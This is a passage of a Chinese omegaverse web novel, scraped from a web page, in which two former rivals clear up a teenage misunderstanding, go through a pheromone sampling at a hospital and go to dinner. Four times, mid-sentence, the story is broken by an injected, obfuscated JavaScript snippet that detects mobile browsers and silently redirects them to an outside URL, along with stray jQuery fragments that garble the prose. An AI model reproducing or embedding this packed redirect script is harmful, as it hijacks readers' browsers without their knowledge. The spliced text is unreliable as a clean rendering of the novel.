刚才的绮思极速消失。
他的声音又变得毫无情绪了:“用不着担心,没人会撮合我们。”
薛歆:“因为我们之前关系差?那都是多少年前的事了,怎么除了我,你们都把上学时候的事记得那么清楚。”
路琅:“不是。”
薛歆:“嗯?”
路琅冷笑一声。
他一字一句地说:“因为你说过跟我在一起还不如去死。”
-
次日下午。
薛歆仍未记起自己到底什么时候说过那句话。
见面时间约在三点。两点四十,她提前到了路琅公司楼下,把车熄了火,下来一边透气一边继续回忆。
全无印象。
不对付了那么多年,不论私下里还是明面上,她确实说过一些不太好听的话。这不必否认。
但是——和你在一起不如去死——真是闻所未闻。
临近三点,路琅准时下楼,一出大门,看见薛歆正靠在车旁沉思,双手抱臂,表情严肃。
他走过去,正要开口说话,薛歆却像察觉到什么似的,抬起头看了过来。
两人对视,她站直了,笑笑说:“挺准时。”
“守时是基本礼貌。”路琅转向轿车后座,“走吧。”
薛歆先一步拉开了副驾驶车门。
“坐前面,我不是你家司机。”她做了个请进的手势,说,“正好,我还有话要问你。”
闻言,路琅抬眸看她,长长的睫毛轻巧地往上一挑,目光不算友善。
薛歆皱眉:“这是什么眼神。”
路琅突然问:“你刚才在想昨天的事?”
“是啊,你怎么知道?”薛歆说,“想都不准想?”
路琅:“我没说不准。”
他往前走了两步,俯身坐进了副驾驶座,伸手系安全带。睫毛像阴雨天气里的蜻蜓,低低地压下来。
薛歆扶着车门,弯下腰说:“你要是愿意说清楚,我也不会一直想了。哪有讲个开场白就下台的?”
路琅:“早知道你会这么在意,我也不会提了。”
薛歆:“如果你没有因为一句话记恨我这么多年,我也不会在意了。”
路琅:“记恨?我还不至于……”
“嘘,别激动。”
薛歆伸出一根手指竖在唇边,打断之后,问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243202|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“先不争了。我是真的没印象,你确定是我说的,不是听错了?”
路琅不大高兴地:“我确定。”
他的语气很笃定,薛歆又回想了一会儿,还是满心疑惑,自言自语地说:“好吧……真奇怪。”
她绕到另一边上了车,刚坐下来,听见路琅问:“哪里奇怪?”
薛歆:“哪里都奇怪。”
上个月她刚换了辆新车,气味没散尽,待久了还是有点闷。说完话,她就从暗格里拿了个固体香薰出来,挂在空调出风口。
大多数人都对自己信息素的气味情有独钟,薛歆不是例外。香薰是她专门找人定做的,气味和信息素相似,外观是一挂小橘子。
路琅无需低头就能看到。
暖色调,他想。
令人心浮气躁的颜色。
过了半分钟,淡淡的柑橘香气也变得明显起来。
这款香薰是根据薛歆的信息素设计的,仅仅是纯粹的气味,路琅不至于将二者混淆。但这不影响他坐立难安。
他觉得有必要找些事来转移注意力。
恰巧在这个时候,薛歆开始说话了。
“我还是觉得……我不是说我不会说那种话,那只是句气话,谁说都不奇怪。”她想了想,说,“我只是觉得我不会对你说。”
路琅终于把目光从那串橘子上移开了。
“为什么?”
他问。辨不清自己是什么心情。
薛歆思考了一会儿。
“因为我们不可能有那种关系。”她试着举例说明,“如果是面对我的相亲对象,我很可能会说死也不和他在一起,但是跟你……你知道吧,没有那个语境。谁会撮合我们呢?”
路琅抿住唇。
他得承认薛歆的话在逻辑上没有问题,可是事实并不会因为逻辑推理而改变。
而且,无论是她的论据还是深究此事的热情,都让他的心情越变越坏。
甚至此刻最值得关注的还不是这个了。
“你的相亲对象?”路琅说,“你在相亲?”
薛歆:“我姐介绍的,你上次不是看到那几张照片了吗?里面有一个我姐的重点关注对象,前两天正好遇到了。”
说到这件事,她无奈得有点想笑。
“我姐也是胡闹,给我介绍的完全是个小孩,刚满十八。”
路琅:“你不喜欢小的?”
“也不是,我没有特别的择偶偏好。”薛歆用右手比了个九,“但这个也太小了,肯定有代沟。”
路琅想起之前的一段聊天内容。
“上次你说你不喜欢Omega。”他语调平平,“这不算偏好吗?”
薛歆:“嗯?”
那话是她随口说的,没到原则性喜恶的程度,不过说起来,也不是一句假话。
路琅抬眸:“你是不是从来不记得自己说的话?”
“不,这个我记得,嗯……也算吧。”薛歆整理措辞,把刚才的话重说了一遍,“除了不想找Omega之外,我没有别的择偶偏好。”
她忽然想起薛隽的介绍语,补充道:“我说的这个小孩就是Omega,所以如果是他,我说不定真的会讲那句话。对你还不至于。”
路琅一点儿也没有为此感到高兴。
12. 第 12 章
薛歆约好的医院在茂大附近,和医学院有合作,是信息素脱敏针的第一批试点医院之一。
腺体专科的那位医生是她的朋友。
毕业之后,经人介绍认识的。在所有朋友中,这位非常难得,并不知道她和路琅那些不大正面的传言。
“我跟他说我们是情侣,不过你不用特别在意这个,我打的补丁还是挺多的。”
薛歆说:“我说了我们刚吵过架,现在还在冷战,所以不用表现得很亲密。”
路琅依然不能理解这种画蛇添足的行为。
“我不知道这有什么必要。”他咬字加重,“假扮情侣——你觉得有意义?”
薛歆压着声音说:“就当是为我好。”
今天是工作日,医院里仍然挤满了人,信息素浓得像压缩多年的罐头。穿过门诊大厅,一直走到研究中心附近,人群终于渐渐稀疏,不再有碰上熟人的风险。
“我只是想尽可能避免麻烦,不让我和陌生Omega在外面乱来的谣言传得到处都是。最好别低估人类的八卦欲。”
四周无人,薛歆恢复到正常的说话音量:“也不能松懈对我姐的防范心。”
双方没有业务往来,路琅已经很久没有见过薛隽,听了这句话,露出一个意外的表情。
在他仅存的印象里,薛隽是个气质相当清冷的女Alpha,平日里不苟言笑,和薛歆所描述的形象相去甚远。
对此,薛歆给出的回应是一声冷笑。
“那是我姐装出来的,她觉得高冷点就不会有人来烦她……这样她就有足够的时间来烦我了。”
路琅:“催婚?”
薛歆:“催婚是只是一个方面。”
她有无穷无尽的苦水能倒,但考虑到薛隽的形象,总算悬崖勒马,给姐姐留了点面子。
“总之,不能让我姐发现我跟你有任何超过陌生人的关系,否则她会把这当成催婚成功的预兆,没完没了的骚扰我。”
这段话里的某个形容听起来很顺耳。路琅隐约感觉自己的唇角向上抬了一点点,很快,他将头低了下去。
薛歆误以为这反应是不相信。
她开始补充论据:“前两天我姐说,家里曾经有意向把你和我凑成一对,被我拒绝了才不了了之,反正——”
路琅全程听着,没有插话。
读书的时候,他常常见到薛歆和朋友滔滔不绝的聊天,只是她在他面前话从来不多。今天难得做一回倾听者,他觉得还挺有意思的。
她的话不少,记性也不太好。
“反正”二字之后,薛歆突然停下,久久没有再开口,眉头渐渐皱了起来。
路琅转头,瞟了一眼她的脸色。
“想起来了?”
他问。
薛歆皱着眉:“等等。”
那天听薛隽谈论往事的时候,她心不在焉,话在耳膜上像水一样流过去,没有被仔细思考过。
直到此刻,某些早已被遗忘的画面才终于被她记起。
那大概是……没记错的话,是高一的某个周末。
薛隽还没接手家族产业,是被推着在台前露面的时候。公司有什么事,一般都是她独自应酬,偶尔有氛围轻松的宴会,才会把薛歆带着一块儿出席。
那天薛歆刚结束开学考,待在家里无所事事,被薛隽顺手薅走了。
到了地方,和熟人打了一圈招呼,薛隽觉得人群太吵闹了,把妹妹拉到角落聊天。
她先扯了点有的没的,说完一堆废话之后,突然图穷匕见:“一直没问你,你现在这上高中了,和同学相处的怎么样?有没有喜欢的Omega?”
话题转得匪夷所思,薛歆下意识皱起眉,说:“没。”
“不会吧?”薛隽诧异,“像你这么大的时候,我都早恋好几轮了。”
薛歆一阵无语:“所以呢,你说这个是要炫耀?”
薛隽不满:“态度好点,跟姐姐讲话怎么这么没大没小?”
薛歆:“你说的又不是正经话。”
“怎么会,我很正经的。”
薛隽边说边扒拉手机,模样看不出一点认真:“我有个合作对象的孩子也在附中上学,跟你同龄,是个Omega。我之前和那边聊过,咱们两家门当户对的,能更进一步也挺好。先介绍你们认识认识?”
薛歆:“……?”
薛隽:“怎么样,你的想法呢?”
薛歆无语了一阵,强调显而易见的客观事实:“我才十六岁。”
薛隽:“正是适合培养感情的年纪。”
薛歆:“你疯了吧?”
在薛家这个圈层里,商业联姻不是件特别稀罕的事儿,但也没到必要的程度。她想过某天会被家里安排认识几个条件相仿的Omega,对此不是那么难以接受,可现在也太早了。
“你每天待在公司就在想这些?”薛歆差不多把抗拒两个字写在了脸上,“发什么疯呢,别打我的主意。”
薛隽:“好好好,脾气怎么这么大。我只是跟你提一句,也不是非要现在定下来。”
薛歆:“反正我不接受包办婚姻。”
薛隽:“话别说这么绝对,人家条件不错的。哎呀,我先给你看看照片,说不定你就同意了。”
薛隽说着,一下把手机递到了过来。照片直愣愣地戳在薛歆眼前,她看也不看,直接推开了。
“要我接受这种——”
薛歆烦躁地推着薛隽的手,目光一点也没往屏幕上落,拉扯之间,“包办婚姻”四个字也被吞掉了。
她确实正在叛逆期,当即语气很冲地说:“那我还不如去死。”
……
回忆完这一段往事,薛歆伸手无奈的捂了一下眼睛,说:“所以,你就是那天听见了?”
路琅:“我当时就在旁边的窗台,几步远,想要不听见很难。”
薛歆:“我真没想到……”
路琅:“没想到我会听见?”
他比薛歆还小两个月,那时候刚满十六岁,相比之下不算叛逆,可是脾气也不小。
赴宴之前,家里的长辈先把打算告诉路琅了,也给他看了薛歆的照片。
他也对订婚没有任何正面的情绪,但既然知道了长辈有这方面的想法,不免也有点关注薛歆。
然后就听到了那么一句话。
现在想起来,因为这个生气是太没必要了,可那个时候他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243203|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也就是个高中生,冲动也很正常。
薛歆:“我是没想到我姐说的人是你。”
路琅:“……你不知道是我?你不是看过照片了吗?”
“我没看。”薛歆把捂着眼睛的手放了下来,更加无奈地说,“我听完我姐的话就烦得要命,哪有心思看照片。那话不是针对你的,照片上的人不管是谁,我都会那么说。”
面面相觑。
薛歆:“所以你一直以为,我是看了你的照片之后,嫌弃你才那么说的吗?”
路琅:“……”
薛歆觉得自己实在太冤了。
“上次我问你为什么针对我,你不愿意说……所以就是这件事?”她回忆着,猜测道,“你不肯说,不会是觉得这个理由太幼稚了吧?”
路琅确实是那么想的,但是他不肯承认:“我是觉得没必要翻旧账。”
薛歆:“你翻的旧账还少吗?”
话不投机,两个人对视一眼,同时撇开脸,没有再和对方讲话了。
不过,他们此刻的心情区别还是挺大的。
路琅是觉得尴尬。
他忍不住去想这些年和薛歆的种种交集,一想到自己因为偶然听见的一句话,就出于误会和她吵了这么多年,真恨不得找个地缝钻进去。
想着想着,他的面颊浮起一层红晕,很淡,但隐隐发烫。
真是、真是……
薛歆则又是无奈又是好笑。
进到研究中心里之后,她叹了一口气,说:“我们上学那几年还真是闲得没事干。”
路琅不想讲话,全当自己失去了语言功能。
薛歆把话题倒回最开始。
“所以你还是听我的吧。”她说,“我要是跟个没关系的Omega纠缠不清,绝对属于丑闻,消息迟早传到我姐那儿去。”
路琅这会有点儿缓过来了,问:“秘密恋爱就不会?”
薛歆:“那就是隐私了,大家不会乱说的,至少不会在我姐面前说。”
路琅不知道她在执着什么。不过,这不需要他特意配合,只要不否认就可以。他同意了。
医生正在诊疗室里等着。
有薛歆提醒在前,这位好心朋友没有表现得太过夸张,只在见到路琅的时候,拼命地朝薛歆挤眉弄眼了一阵。
等路琅去做基础检查后,医生走到薛歆旁边,用力拍了拍她的肩膀。
他的语气夸张:“这样的你都不敢带回家,不至于吧!”
薛歆叹了口气:“说来话长。”
“不过,既然都在一起了,为什么还要用信息素脱敏针,直接临时标记就行了呀。”医生说,“有一就有二,又不是没标记过。”
薛歆:“这个……原因很复杂,在一起还没多久。”
医生:“谈恋爱还搞这么保守,行吧,各有各的性格。但今天你俩还是得做个临时标记。”
薛歆以为自己听错了:“为什么?”
“采样啊。”医生解释,“信息素在不同状态下是不一样的,采样得全面,需要收集标记过程中的信息素。”
他贴心介绍:“早就全自动化了,机械采集,不用害羞。”
薛歆:“……”
13. 第13章
这个世界……
薛歆想,这个世界的底层逻辑到底是什么?难道条条大路的最终交点是临时标记吗?
她不死心地问:“必须?”
医生:“必须。”
薛歆叹气。
“这又不麻烦。”医生不理解地说,“临时标记也就是几分钟的事,你都保守到这种程度啦?”
薛歆仍回答:“说来话长。”
医生困惑地看她一眼。
“好吧,不愿意也行,我给你开个单子直接去抽信息素,结果还更准。”他摊开手,“那可真是要遭老罪喽。”
抽信息素……?
薛歆忍不住摸了下脖子。
这不是个常规体检项目,她只在大学入校体检时抽过一次,当时的感受记不太清了,但那根堪比牙签的针管还是历历在目。
对她来说也可以忍受,不过,路琅估计接受不了。
毕竟——薛歆想起上次的,呃,某些“体验”——他的皮肤和腺体,不管是目测还是实际触感,都特别的脆弱而柔软。
她的手指微动了下,又想,路琅的脾气也不大好。
被弄疼了说不定要迁怒无辜。
路琅走出检查室后,薛歆把刚刚听来的坏消息说了出来,果不其然,他立刻蹙起了眉尖。
“那太疼了。”路琅皱着眉,抗拒地说,“我不要。”
薛歆:“那就标记。”
路琅低低地:“嗯。”
他说话时眼睛朝旁边看,模样勉为其难,可是语气很干脆,回答几乎没有犹豫。
薛歆在旁边默默观察。
对于标记,她觉得自己可能是优柔寡断了点,但路琅的接受速度也未免太快了。
不管时代如何变化,无论怎样的原因来粉饰,临时标记这个行为本身,多少还是具有一点暧昧性质的。
当然,第一次是迫不得已。
虽然此刻回想起来,那时的情况也未必多紧急,但他们一个昏了头,另一个掉进小学生激将法的陷阱,各种因素交杂……
总之有充分的理由定性为迫不得已。
至于现在,对标记有点不情愿才是正常的吧。
难道我真的太保守了?
薛歆不禁开始自我怀疑。
在沉默中,两人并肩走到三楼。
信息素采样室是一个没有窗户的房间。
内部灯光经过特别设计,柔和又不显昏暗。房间很小,目测五六个平方,有一把沙发椅和一张不算宽的床,看起来都很柔软。
一侧的小圆桌上放了几本杂志,日期是几个月前,纸张簇新,没有翻动过的痕迹。
看样子,来这里的每个人大概都想着尽快了事。
总体而言,室内的气氛营造得很到位。
薛歆本来心无旁骛,进来时受环境影响,晃了下神。几乎本能的,她回头看了路琅一眼。
目光相接。
对视来的猝不及防,路琅愣了大概一秒,迅速把目光错开了。
薛歆疑惑地停住脚步。
这个情景十分熟悉,想一想,之前好像也有过相似的场面。
“怎么又盯着我看?”薛歆说,“你要说什么可以直接讲。”
路琅费了点劲才维持住自然的神情。
他用反问掩饰情绪:“不让看?”
薛歆严肃地说:“再有下次我要收费了。”
她边说边伸出三根手指示意。
“……”
路琅扭开脸,决定今天再也不会正眼看她。
——这个目标很容易达成。
用不着刻意努力,临时标记刚开始,他的理智就凭空蒸发了一半。另外一半,也在短短两分钟内,就被柑橘的气息一点点融化了。
薛歆低着头,咬住那块散发着柚子花香的软肉。
今天她很清醒,无论是信息素注入的速度,还是浓度,都保持在了一个十分平缓的范畴。
只是这并没有让状况发生太大的改变。
路琅失神地垂着眼睛。
信息素不断灌入腺体,浓度渐渐累积,刺激迅速升级。在略有涩意的柑橘香里,他忽而咬住下唇,几滴生理性的眼泪沁出来,把睫毛打湿了。
熟悉的浪潮向上翻涌。
要变得和上次一样了,他模糊地想,狼狈又……
然而,就在这时,薛歆突然停下了动作。
路琅感到那只捏住他下巴的手轻轻动了一下,很快松开,随之远离的,还有柑橘的气味与咬住腺体的犬齿。
一切心理准备都没有用上,在最激烈的那朵浪花扑面而来之前,潮水突然凝固了。
倏然寂静。
路琅先是茫然,继而难以置信地抬起眼睛。
薛歆已经松开了他,直起身来。
“这样就可以了。”她看着镶嵌在墙壁里的监测仪,仔细确认了上面显示的数值,“医生说只需要采集到临时标记过程中的信息素,灯全亮了就可以了吧,也没说标记一定要做完。”
路琅缓缓转头,目光落在她的脸上,表情差不多是空白。
“你……”
他半天也没成功说出话来。
成功卡了bug,薛歆心情不错,甚至有点儿沾沾自喜的意思,打了个响指。
“感觉怎么样?”她问,“应该比上次好多了吧?”
路琅不知作何反应,沉默半晌,深吸了一口气。
“比上次更烂。”
他冷冰冰地说。
.
灵机一动却收获差评,薛歆没有气馁,离开采样室的时候,尽职尽责地揽着路琅的腰,让他靠着自己往前走。
临时标记只进行了一半。但因为依赖症的存在,仅仅一半也够刺激了。
此时此刻,只要接触到薛歆的信息素,路琅就腿软得站不住,可是离得太远,他也觉得哪里都不对劲。
很难搞。
薛歆频频侧头看他。
“确定不需要休息吗?”
“不。”
路琅把头撇向一边,小半张脸埋在衣领里,纤薄的耳廓对着薛歆,耳骨上有个小小的钻石耳钉,一动就闪起碎光。
他只想快点离开这里。
只有换了环境,换了眼前的人,徘徊在心中的难堪和诡异的失落才会消散。
腺体专科的医生见多识广,对于情侣患者间的各种诡异气氛,通通视若无睹,把回传的数据看了一遍,就露出了满意的表情。
“我就说嘛,这不是很快吗?”他抖了抖化验结果,“今天回去好好休息,明早再来做个过敏源测试,下午也行。那个就不用你俩一起了,什么时候有空什么时候来,不用空腹。”
路琅的睫毛颤了颤。
“如果对关键成分过敏,就配不了脱敏针吧?”他像是随口一提,“我有药物过敏史。”
医生摆手:“要看具体对什么药过敏,这个脱敏针的成分挺少见的,还是要查了才知道。你以前是对什么药过敏?”
路琅:“抑制剂。”
“抑制剂?”
医生愣了下,看了薛歆一眼,没忍住噗嗤笑出声:“那你们俩这还挺、挺那啥的,真般配,薛总这不直接大手一挥,在厂里多开一条特制抑制剂的生产线。”
薛歆:“……”
她把目光从窗外的天空移到了路琅脸上,从眉到眼的看了两遍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243204|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
哪怕单看脸,确实也挺值得一掷千金的。
啧,可惜是假情侣,这活还用不着她来干。
路琅感受到她的目光,有点僵硬,几根手指交缠在一起攥了攥,觉得被盯住的地方都隐隐烫了起来。
有什么好看的!刚才不准他看,现在自己倒是为所欲为了。
他恼羞成怒地想。
薛歆仿佛听见了这几句心声,很快将视线转开了。
路琅松了口气,没过几秒,他低下头,用手指轻轻摸了一下鼻尖。
总觉得……不太舒服。很奇怪。
呼吸之间,像是有橘皮溅出的汁水进入鼻腔,辛辣中透着苦涩。
他不喜欢这种感觉。
另一边,稍有偏转的话题已经折了回去。
“应该不至于,脱敏针和抑制剂完全是两个东西。不过,万一过敏也没办法,你俩就回去接着标记呗。”医生用指尖弹了下化验报告,“不也简单吗?”
没人吱声。
路琅低着头不知道想什么去了,薛歆等了会儿,只得独自扛起社交大旗,随口说:“工作忙,不经常待在一起,总要标记也耽误事,还是脱敏针简单。”
……浑然没察觉到这句话有多么渣A。
幸好医生对待朋友足够双标。
“你们俩都忙啊,那是不方便。”他很能理解地说,“我这边尽量加快速度,只要过敏原测试没问题,保证一周把药配出来。”
薛歆道谢,语气听起来挺喜悦。
路琅觉得那种不舒服的感觉更强烈了。
这只是刚开始,接下来发生的另一个小插曲,才真正让他那点莫名其妙的不爽爆了表。
该聊的都聊完了,没有多待的必要,两人很快就离开了医院。
路琅腿还是软的,但执意要自己走。薛歆在旁边看着,觉得不大对劲,没走几步,果然就看见他踉跄了一下。
“这也叫能自己走吗?”
薛歆一步靠近,俯身轻松地把人横抱起来,一手环住后背,一手托着膝弯。
这个动作让路琅一下子红了脸。
他又是尴尬又是羞耻地抓住薛歆的衣襟,深吸一口气,咬牙说:“放我下来!”
“别闹,你能走吗?”薛歆说,“就几步路,这里也没别人。”
有个词叫一语成谶。
她说话的时候,检测中心附近确实是空无一人,然而话音刚落,就有几个人出现在了远处的道路上。
路琅挣扎的幅度一下变大了。
薛歆不得不稍微用力,将他彻底压进怀里。
“再动小心摔了,我不负责的。”她压低下巴示意,“真要这么害羞,可以拿我丝巾遮遮脸。”
路琅的手指正揪着丝巾的边角,闻言,不客气地一把扯了过来,拽着遮住了脸。
他没料到,这块丝巾被戴了大半天,像被浸在柑橘香水里,气味浓的让人有点恍惚。
用尽自制力,终于回过神来。
另一个人却又莫名其妙停下了。
薛歆正看着远处走过来的几个人。
中间那个有点眼熟。
对了,是那天遇到的……宋、宋什么来着?
她没想起名字,倒是很快把那天的对话记起来了,在心里哎呀了一声。
坏了,就觉得有什么事情忘记做了。
得跟工作室交代一声。
毕竟是个有背景的小少爷,不能怠慢。
但寒暄就免了。
薛歆脚下一转,拐到旁边,准备从另一个出口走。
没注意到怀里的人转过了脸,掀开丝巾的一角,和她一样,也定定地看了一会儿。
14. 第14章
路琅总觉得刚才那人眼熟。
他的记忆力很好,在认人这方面尤其,凡是有必要注意的,只要见过一面就都能认出来。
这次却只有个模糊的印象。
——究竟在哪见过?
上了薛歆的车,出风口的橘子香薰再度出现在眼前。路琅盯着那点橙黄色,脑海中仍回荡着这个疑问。
他苦思无果,一转头,看见薛歆正拿着手机发消息。
【歆:稍微关照下,别太明显】
足足两分钟后,人事回复:【好的老板!保证完成任务!】
一句话里两个慷慨激昂的感叹号。
薛歆看了一遍自己发的消息。
这是什么反应?她发的也不是加薪通知啊。
最近,工作室确实在招样片模特,不是为了人情专门找的缺。新店即将开业,她预备推一套新系列写真,主题已经定好,这两个月就要拍出来。
宋从玉……
薛歆开始回忆。
他毕竟是正经考进戏剧学院的,专业出身,体态气质都很不错,表现力应该也不差。可是具体的长相,她记得倒是记得,但不太清晰了。
好像有张照片来着。
薛歆点开和薛隽的聊天框,手指下意识地往上划了几下,刷新的图标不断弹出来,别的什么都没有。
她后知后觉地想起,为了杜绝后患,早就把聊天记录清空了。
算了。
回工作室再说。
把工作暂且放下,薛歆关了手机,俯身看车载地图:“你去公司还是回家?我不怎么来这边,等我先……路琅?”
路琅正在发呆,目光很空。
被喊了名字,他也没有立刻回神,眼睫低低垂着。
薛歆晃晃手指,再喊:“路琅?”
神游的人总算慢慢有了点反应。
“你在想什么呢?”薛歆收回手,“叫你也不吭声。”
路琅缓慢地眨了一下眼睛,没应声,表情看着挺凝重。
薛歆随口说一句,也没指望要得到回答,很快又去看导航,把屏幕顶端滚动着的修路通知挨个看了一遍。
“怎么哪哪都在修,这边也封了,往城北那边走还得绕路,嗯……”
她看着导航规划出的那条远路,朝前倾身,有些苦恼地自言自语着。
一缕鬓发在脸侧轻轻晃荡。
路琅看了一眼薛歆,不自觉被这缕头发吸引了注意,盯了大约半分钟,薛歆突然扭头,几乎将他惊得一抖。
“你还没回答我,接下来准备去哪儿?”她指了指修路通知,“去你公司得从隧道那边绕,我看了一下,还挺远的,估计得半小时。”
路琅嗯了声,在薛歆看不见的地方,不太自在地攥紧了手指。
为什么总这样。
虽然薛歆的注意力在别处,没重提之前那个看一眼要收钱的话题,但有过那段对话之后,路琅自己反倒开始注意这个了。
他压根没感觉自己有在盯着薛歆看。
以前从没有这样过,是因为信息素吸引而导致的坏习惯吗?
“哎,我还没说完。”薛歆说着,轻拍了下他的肩膀,把戴着腕表的手伸过来,“现在五点半,等把你送到都六点了,时间赶巧,要不在外面吃个饭?”
路琅一愣,朝她看了过来。
薛歆问:“怎么样嘛?”
她没把这当成邀请,只觉得是出门办事顺带,说得特别自然。如果拒绝,倒像是心眼太小,刻意不给面子了。
路琅微微张口,没有出声,过了好一会儿,才平淡地说:“好。”
-
虽说是临时起意,薛歆想约个有点档次的餐厅也不难,不过一起跑了这么几趟,她自觉和路琅也算是半个熟人了,没必要整那么多虚的。
五点四十,车停在一条不知名小巷。
“就这儿吧,喏,里面有个专门做鱼的。”薛歆抬手往前指,“我员工推荐的,地方有点偏,水平真不错。”
路琅的视线顺着她的手指往前移,远远的,只看见一个闪烁的招牌灯。上面的字看不清,下面是个鱼的简笔画。
他点头:“好,就这里吧。”
两人并肩穿过小巷。
来的路上,路琅一直有点不自在,对于鱼这种食物,他的兴致也一般。薛歆大概真喜欢这家店,心情不错,边走边闲聊,谈了点她的私事。
“刚毕业的时候,连我姐也说我瞎胡闹,正事不做,去弄摄影工作室这种闹着玩的东西。”
薛歆讲完这段陈年的抱怨,笑一笑,神情带点狡黠:“现在倒是没人说了,真是的,什么时候能别这么利益至上?”
路琅偏头看她。
他隐隐希望这段谈话能长久持续下去,像无穷无尽的水流一样,把这条巷子彻底淹没,目的地这个概念也跟着融化。
倾听时注视对方是合适的礼节。
但他也意识到不能再这样盯着薛歆看了。
都是信息素的影响。都是信息素的错。
人总不可能被信息素控制吧。
到了鱼馆门口,路琅把目光硬生生从薛歆脸上拔下来,往左一偏,看见一条弯弯曲曲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243205|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的队伍。
酒香不怕巷子深。工作日也得等位。
薛歆刚说完对薛隽的第十条吐槽,关于相亲的第十一条刚起头,就被眼前的长队淹没了。
“你看,我就说这家做的不错吧。看看要排多久,少的话还能等等。”
她扫了排队码,小程序转着圈慢慢加载,转出来的数字意外地挺小。
薛歆举起手机:“四桌,等不等?”
她开口时做好了被拒绝的准备。路琅这辈子估计就没排过什么队,这会儿天都黑了,寒风萧萧,怎么可能这么闲情雅致地陪她在这干等。
不料路琅看了看,居然说了个好字。
薛歆:“什么?”
路琅:“我说好。”
薛歆怀着惊讶回头看,发现他竟然已经在队伍末尾坐下了。
这家店的装修挺青春的,等位的地方有个小吧台,一排凳子都是高脚椅。路琅支着胳膊坐着,姿态慵倦,像只缩在椅子里面的猫。
“我还以为你不愿意等呢。”
薛歆走过去,说:“都想好掉头去另一家了。”
路琅抬一抬眼皮:“我没你想的那么麻烦。”
薛歆笑笑。
“以前你不是这么说的。”她走过来,没坐,靠着吧台站在他旁边,“大学的时候,有一次我要问你什么事,你说时间宝贵没空听我讲废话。”
路琅不肯承认:“我不记得了。”
薛歆:“不利的事你都不记得。”
路琅低低地哼了一声,问:“你刚才要说什么?”
薛歆:“刚才?”
她想了想:“哪个刚才?”
路上扯了太多废话,想不起来自己都说了些什么了。
“走过来的时候。”路琅说,“你说到你姐姐。”
薛歆又想了几秒。
“哦……哦哦,那个啊。还不就是最近的事儿。”吐槽的劲头过去了,她开始觉得无聊,随口说,“我姐总想让我去相亲。”
作为薛歆近期的最大困扰,这事被拿出来说过很多次了,周围的朋友都听过她的控诉。听的人可能没腻,讲的人先开始觉得无聊了。
薛歆说过就算过,摆摆手:“我姐想一出是一出,给我发的那一堆照片,啧,不细说了。”
话音刚落,扬到一半的手腕突然被人抓了下,袖口绷紧又放松。
她诧异地低头。
路琅已经触电似地松开手,表情勉强镇定,脸微微朝上抬着,黑眼珠像猫似的发着光。
“我想起来了。”
他没头没尾地说。
15. 第 15 章
鱼端上桌了。
薛歆没拿筷子,右手托着脸,颇为惊奇地看着对面的人。
路琅被看得浑身不自在。
放在以往,他肯定得怼薛歆两句,偏偏此刻莫名其妙心神不定,被这样紧盯,心里想的只有转开脸不让她再看。
却连这样都不行。
薛歆简直是不依不饶。半天不说话,一见他扭头,就立马开口:“躲什么,我有那么可怕吗?”
路琅动作滞住,闭了闭眼睛,扭头瞪了她一眼。
“别看我。”
“你也可以收费。”
薛歆轻飘飘地说。
路琅瞪她。
“这么凶干什么,说着玩的。”薛歆换了只手撑着脸,声音里含着点笑,“我是真没想到你记性这么好,只看过一眼照片就能认出来。”
这好歹是句夸奖,路琅收回目光,决定不跟她计较。
下一秒,薛歆冷不丁又感叹了句:“难怪能记仇这么多年。”
路琅:“……”
他动了动唇,半晌没说出话来。
这反应让薛歆挺满意的。她笑了笑,终于不再调侃,把筷子拿起来了。
路琅深吸一口气,用划重点的语调说:“不要再提那件事。”
薛歆笑:“所以你也知道当年做的不对了?要是对我客气点,也不至于今天成这样。”
说完,点的鲜榨橙汁端上来了。她拿过两个杯子,逐一倒满。
路琅的注意力被吸过来,目光凝在杯子上。
“怎么了?”
薛歆把装满橙汁的杯子推回去。
路琅用指尖轻轻敲了一下杯壁,兴致缺缺:“没劲。”
